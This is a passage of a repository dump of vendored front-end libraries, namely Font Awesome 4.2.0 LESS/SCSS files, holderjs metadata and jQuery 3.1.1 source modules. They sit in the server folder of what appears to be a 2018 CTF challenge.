https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.eot
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/bordered-pulled.less:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em @fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .pull-right { float: right; }
11 | .pull-left { float: left; }
12 |
13 | .@{fa-css-prefix} {
14 | &.pull-left { margin-right: .3em; }
15 | &.pull-right { margin-left: .3em; }
16 | }
17 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/core.less:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .@{fa-css-prefix} {
5 | display: inline-block;
6 | font: normal normal normal 14px/1 FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 | }
12 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/extras.less:
--------------------------------------------------------------------------------
1 | // Extras
2 | // --------------------------
3 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/fixed-width.less:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .@{fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/font-awesome.less:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables.less";
7 | @import "mixins.less";
8 | @import "path.less";
9 | @import "core.less";
10 | @import "larger.less";
11 | @import "fixed-width.less";
12 | @import "list.less";
13 | @import "bordered-pulled.less";
14 | @import "spinning.less";
15 | @import "rotated-flipped.less";
16 | @import "stacked.less";
17 | @import "icons.less";
18 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/larger.less:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .@{fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .@{fa-css-prefix}-2x { font-size: 2em; }
11 | .@{fa-css-prefix}-3x { font-size: 3em; }
12 | .@{fa-css-prefix}-4x { font-size: 4em; }
13 | .@{fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/list.less:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: @fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .@{fa-css-prefix}-li {
11 | position: absolute;
12 | left: -@fa-li-width;
13 | width: @fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.@{fa-css-prefix}-lg {
17 | left: (-@fa-li-width + (4em / 14));
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/path.less:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}');
7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'),
8 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'),
9 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'),
10 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg');
11 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
12 | font-weight: normal;
13 | font-style: normal;
14 | }
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/rotated-flipped.less:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); }
5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }
6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }
7 |
8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }
9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .@{fa-css-prefix}-rotate-90,
15 | :root .@{fa-css-prefix}-rotate-180,
16 | :root .@{fa-css-prefix}-rotate-270,
17 | :root .@{fa-css-prefix}-flip-horizontal,
18 | :root .@{fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/spinning.less:
--------------------------------------------------------------------------------
1 | // Spinning Icons
2 | // --------------------------
3 |
4 | .@{fa-css-prefix}-spin {
5 | -webkit-animation: fa-spin 2s infinite linear;
6 | animation: fa-spin 2s infinite linear;
7 | }
8 |
9 | @-webkit-keyframes fa-spin {
10 | 0% {
11 | -webkit-transform: rotate(0deg);
12 | transform: rotate(0deg);
13 | }
14 | 100% {
15 | -webkit-transform: rotate(359deg);
16 | transform: rotate(359deg);
17 | }
18 | }
19 |
20 | @keyframes fa-spin {
21 | 0% {
22 | -webkit-transform: rotate(0deg);
23 | transform: rotate(0deg);
24 | }
25 | 100% {
26 | -webkit-transform: rotate(359deg);
27 | transform: rotate(359deg);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/stacked.less:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_bordered-pulled.scss:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em $fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .pull-right { float: right; }
11 | .pull-left { float: left; }
12 |
13 | .#{$fa-css-prefix} {
14 | &.pull-left { margin-right: .3em; }
15 | &.pull-right { margin-left: .3em; }
16 | }
17 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_core.scss:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix} {
5 | display: inline-block;
6 | font: normal normal normal 14px/1 FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 | }
12 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_fixed-width.scss:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .#{$fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_larger.scss:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .#{$fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .#{$fa-css-prefix}-2x { font-size: 2em; }
11 | .#{$fa-css-prefix}-3x { font-size: 3em; }
12 | .#{$fa-css-prefix}-4x { font-size: 4em; }
13 | .#{$fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_list.scss:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: $fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .#{$fa-css-prefix}-li {
11 | position: absolute;
12 | left: -$fa-li-width;
13 | width: $fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.#{$fa-css-prefix}-lg {
17 | left: -$fa-li-width + (4em / 14);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_path.scss:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}');
7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),
8 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'),
9 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),
10 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg');
11 | //src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
12 | font-weight: normal;
13 | font-style: normal;
14 | }
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_rotated-flipped.scss:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
7 |
8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .#{$fa-css-prefix}-rotate-90,
15 | :root .#{$fa-css-prefix}-rotate-180,
16 | :root .#{$fa-css-prefix}-rotate-270,
17 | :root .#{$fa-css-prefix}-flip-horizontal,
18 | :root .#{$fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_spinning.scss:
--------------------------------------------------------------------------------
1 | // Spinning Icons
2 | // --------------------------
3 |
4 | .#{$fa-css-prefix}-spin {
5 | -webkit-animation: fa-spin 2s infinite linear;
6 | animation: fa-spin 2s infinite linear;
7 | }
8 |
9 | @-webkit-keyframes fa-spin {
10 | 0% {
11 | -webkit-transform: rotate(0deg);
12 | transform: rotate(0deg);
13 | }
14 | 100% {
15 | -webkit-transform: rotate(359deg);
16 | transform: rotate(359deg);
17 | }
18 | }
19 |
20 | @keyframes fa-spin {
21 | 0% {
22 | -webkit-transform: rotate(0deg);
23 | transform: rotate(0deg);
24 | }
25 | 100% {
26 | -webkit-transform: rotate(359deg);
27 | transform: rotate(359deg);
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/_stacked.scss:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; }
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/scss/font-awesome.scss:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables";
7 | @import "mixins";
8 | @import "path";
9 | @import "core";
10 | @import "larger";
11 | @import "fixed-width";
12 | @import "list";
13 | @import "bordered-pulled";
14 | @import "spinning";
15 | @import "rotated-flipped";
16 | @import "stacked";
17 | @import "icons";
18 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "holderjs",
3 | "main": "holder.js",
4 | "homepage": "https://github.com/imsky/holder",
5 | "version": "2.4.1",
6 | "_release": "2.4.1",
7 | "_resolution": {
8 | "type": "version",
9 | "tag": "v2.4.1",
10 | "commit": "bd2e0be3c5c86afbdef1da092eb72c8ce7d52dce"
11 | },
12 | "_source": "https://github.com/imsky/holder.git",
13 | "_target": "~2.4.1",
14 | "_originalSource": "holderjs"
15 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.gitattributes:
--------------------------------------------------------------------------------
1 | # Automatically normalize line endings for all text-based files
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | todo.md
3 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/.jshintrc:
--------------------------------------------------------------------------------
1 | {
2 | "quotmark": true,
3 | "boss": true,
4 | "eqnull": true,
5 | "expr": true,
6 | "funcscope": true,
7 | "loopfunc": true,
8 | "smarttabs": true,
9 | "node": true,
10 | "browser": true
11 | }
12 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "holderjs",
3 | "main": "holder.js"
4 | }
5 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/composer.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "imsky/holder",
3 | "description": "Client-side image placeholders.",
4 | "homepage": "https://github.com/imsky/holder",
5 | "keywords": [
6 | "images",
7 | "placeholders",
8 | "client-side",
9 | "canvas",
10 | "generation",
11 | "development"
12 | ],
13 | "license": "MIT",
14 | "type": "component",
15 | "authors": [
16 | {
17 | "name": "Ivan Malopinsky",
18 | "homepage": "http://imsky.co"
19 | }
20 | ],
21 | "require": {
22 | "robloach/component-installer": "*"
23 | },
24 | "extra": {
25 | "component": {
26 | "scripts": [
27 | "holder.js"
28 | ],
29 | "files": [
30 | "holder.min.js"
31 | ]
32 | }
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/test/.gitignore:
--------------------------------------------------------------------------------
1 | performance.html
2 | benchmark.js
3 | lodash.js
4 | require.js
5 | test.js
6 | ua-parser.js
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/test/image.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/holderjs/test/image.jpg
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "jquery",
3 | "main": "dist/jquery.js",
4 | "license": "MIT",
5 | "ignore": [
6 | "package.json"
7 | ],
8 | "keywords": [
9 | "jquery",
10 | "javascript",
11 | "browser",
12 | "library"
13 | ],
14 | "homepage": "https://github.com/jquery/jquery-dist",
15 | "version": "3.1.1",
16 | "_release": "3.1.1",
17 | "_resolution": {
18 | "type": "version",
19 | "tag": "3.1.1",
20 | "commit": "1b30f3ad466ebf2714d47eda34dbd7fdf6849fe3"
21 | },
22 | "_source": "https://github.com/jquery/jquery-dist.git",
23 | "_target": ">= 1.2.6",
24 | "_originalSource": "jquery"
25 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "jquery",
3 | "main": "dist/jquery.js",
4 | "license": "MIT",
5 | "ignore": [
6 | "package.json"
7 | ],
8 | "keywords": [
9 | "jquery",
10 | "javascript",
11 | "browser",
12 | "library"
13 | ]
14 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/.eslintrc.json:
--------------------------------------------------------------------------------
1 | {
2 | // Support: IE <=9 only, Android <=4.0 only
3 | // The above browsers are failing a lot of tests in the ES5
4 | // test suite at http://test262.ecmascript.org.
5 | "parserOptions": {
6 | "ecmaVersion": 3
7 | },
8 | "globals": {
9 | "window": true,
10 | "jQuery": true,
11 | "define": true,
12 | "module": true,
13 | "noGlobal": true
14 | },
15 | "rules": {
16 | "strict": ["error", "function"]
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/parseXML.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core"
3 | ], function( jQuery ) {
4 |
5 | "use strict";
6 |
7 | // Cross-browser xml parsing
8 | jQuery.parseXML = function( data ) {
9 | var xml;
10 | if ( !data || typeof data !== "string" ) {
11 | return null;
12 | }
13 |
14 | // Support: IE 9 - 11 only
15 | // IE throws on parseFromString with invalid input.
16 | try {
17 | xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" );
18 | } catch ( e ) {
19 | xml = undefined;
20 | }
21 |
22 | if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) {
23 | jQuery.error( "Invalid XML: " + data );
24 | }
25 | return xml;
26 | };
27 |
28 | return jQuery.parseXML;
29 |
30 | } );
31 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/var/location.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return window.location;
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/var/nonce.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../../core"
3 | ], function( jQuery ) {
4 | "use strict";
5 |
6 | return jQuery.now();
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/ajax/var/rquery.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return ( /\?/ );
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/attributes.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "./core",
3 | "./attributes/attr",
4 | "./attributes/prop",
5 | "./attributes/classes",
6 | "./attributes/val"
7 | ], function( jQuery ) {
8 |
9 | "use strict";
10 |
11 | // Return jQuery for attributes-only inclusion
12 | return jQuery;
13 | } );
14 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/attributes/support.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../var/document",
3 | "../var/support"
4 | ], function( document, support ) {
5 |
6 | "use strict";
7 |
8 | ( function() {
9 | var input = document.createElement( "input" ),
10 | select = document.createElement( "select" ),
11 | opt = select.appendChild( document.createElement( "option" ) );
12 |
13 | input.type = "checkbox";
14 |
15 | // Support: Android <=4.3 only
16 | // Default value for a checkbox should be "on"
17 | support.checkOn = input.value !== "";
18 |
19 | // Support: IE <=11 only
20 | // Must access selectedIndex to make default options select
21 | support.optSelected = opt.selected;
22 |
23 | // Support: IE <=11 only
24 | // An input loses its value after becoming a radio
25 | input = document.createElement( "input" );
26 | input.value = "t";
27 | input.type = "radio";
28 | support.radioValue = input.value === "t";
29 | } )();
30 |
31 | return support;
32 |
33 | } );
34 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/DOMEval.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../var/document"
3 | ], function( document ) {
4 | "use strict";
5 |
6 | function DOMEval( code, doc ) {
7 | doc = doc || document;
8 |
9 | var script = doc.createElement( "script" );
10 |
11 | script.text = code;
12 | doc.head.appendChild( script ).parentNode.removeChild( script );
13 | }
14 |
15 | return DOMEval;
16 | } );
17 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/readyException.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core"
3 | ], function( jQuery ) {
4 |
5 | "use strict";
6 |
7 | jQuery.readyException = function( error ) {
8 | window.setTimeout( function() {
9 | throw error;
10 | } );
11 | };
12 |
13 | } );
14 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/stripAndCollapse.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../var/rnothtmlwhite"
3 | ], function( rnothtmlwhite ) {
4 | "use strict";
5 |
6 | // Strip and collapse whitespace according to HTML spec
7 | // https://html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespace
8 | function stripAndCollapse( value ) {
9 | var tokens = value.match( rnothtmlwhite ) || [];
10 | return tokens.join( " " );
11 | }
12 |
13 | return stripAndCollapse;
14 | } );
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/support.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../var/document",
3 | "../var/support"
4 | ], function( document, support ) {
5 |
6 | "use strict";
7 |
8 | // Support: Safari 8 only
9 | // In Safari 8 documents created via document.implementation.createHTMLDocument
10 | // collapse sibling forms: the second one becomes a child of the first one.
11 | // Because of that, this security measure has to be disabled in Safari 8.
12 | // https://bugs.webkit.org/show_bug.cgi?id=137337
13 | support.createHTMLDocument = ( function() {
14 | var body = document.implementation.createHTMLDocument( "" ).body;
15 | body.innerHTML = "
";
16 | return body.childNodes.length === 2;
17 | } )();
18 |
19 | return support;
20 | } );
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/core/var/rsingleTag.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | // Match a standalone tag
5 | return ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
6 | } );
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/addGetHookIf.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 |
3 | "use strict";
4 |
5 | function addGetHookIf( conditionFn, hookFn ) {
6 |
7 | // Define the hook, we'll check on the first run if it's really needed.
8 | return {
9 | get: function() {
10 | if ( conditionFn() ) {
11 |
12 | // Hook not needed (or it's not possible to use it due
13 | // to missing dependency), remove it.
14 | delete this.get;
15 | return;
16 | }
17 |
18 | // Hook needed; redefine it so that the support test is not executed again.
19 | return ( this.get = hookFn ).apply( this, arguments );
20 | }
21 | };
22 | }
23 |
24 | return addGetHookIf;
25 |
26 | } );
27 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/hiddenVisibleSelectors.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core",
3 | "../selector"
4 | ], function( jQuery ) {
5 |
6 | "use strict";
7 |
8 | jQuery.expr.pseudos.hidden = function( elem ) {
9 | return !jQuery.expr.pseudos.visible( elem );
10 | };
11 | jQuery.expr.pseudos.visible = function( elem ) {
12 | return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length );
13 | };
14 |
15 | } );
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/cssExpand.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return [ "Top", "Right", "Bottom", "Left" ];
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/getStyles.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return function( elem ) {
5 |
6 | // Support: IE <=11 only, Firefox <=30 (#15098, #14150)
7 | // IE throws on elements created in popups
8 | // FF meanwhile throws on frame elements through "defaultView.getComputedStyle"
9 | var view = elem.ownerDocument.defaultView;
10 |
11 | if ( !view || !view.opener ) {
12 | view = window;
13 | }
14 |
15 | return view.getComputedStyle( elem );
16 | };
17 | } );
18 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/rmargin.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 | "use strict";
3 |
4 | return ( /^margin/ );
5 | } );
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/rnumnonpx.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../../var/pnum"
3 | ], function( pnum ) {
4 | "use strict";
5 |
6 | return new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" );
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/css/var/swap.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 |
3 | "use strict";
4 |
5 | // A method for quickly swapping in/out CSS properties to get correct calculations.
6 | return function( elem, options, callback, args ) {
7 | var ret, name,
8 | old = {};
9 |
10 | // Remember the old values, and insert the new ones
11 | for ( name in options ) {
12 | old[ name ] = elem.style[ name ];
13 | elem.style[ name ] = options[ name ];
14 | }
15 |
16 | ret = callback.apply( elem, args || [] );
17 |
18 | // Revert the old values
19 | for ( name in options ) {
20 | elem.style[ name ] = old[ name ];
21 | }
22 |
23 | return ret;
24 | };
25 |
26 | } );
27 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/data/var/acceptData.js:
--------------------------------------------------------------------------------
1 | define( function() {
2 |
3 | "use strict";
4 |
5 | /**
6 | * Determines whether an object can have data
7 | */
8 | return function( owner ) {
9 |
10 | // Accepts only:
11 | // - Node
12 | // - Node.ELEMENT_NODE
13 | // - Node.DOCUMENT_NODE
14 | // - Object
15 | // - Any
16 | return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
17 | };
18 |
19 | } );
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/data/var/dataPriv.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../Data"
3 | ], function( Data ) {
4 | "use strict";
5 |
6 | return new Data();
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/data/var/dataUser.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../Data"
3 | ], function( Data ) {
4 | "use strict";
5 |
6 | return new Data();
7 | } );
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/jquery/src/deferred/exceptionHook.js:
--------------------------------------------------------------------------------
1 | define( [
2 | "../core",
3 | "../deferred"
4 | ], function( jQuery ) {
5 |
6 | "use strict";
7 |
8 | // These usually indicate a programmer mistake during development,
9 | // warn about them ASAP rather than swallowing them by default.
10 | var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
11 |
12 | jQuery.Deferred.exceptionHook = function( error, stack ) {
13 |
14 | // Support: IE 8 - 9 only
15 | // Console exists when dev tools are open, which can happen at any time
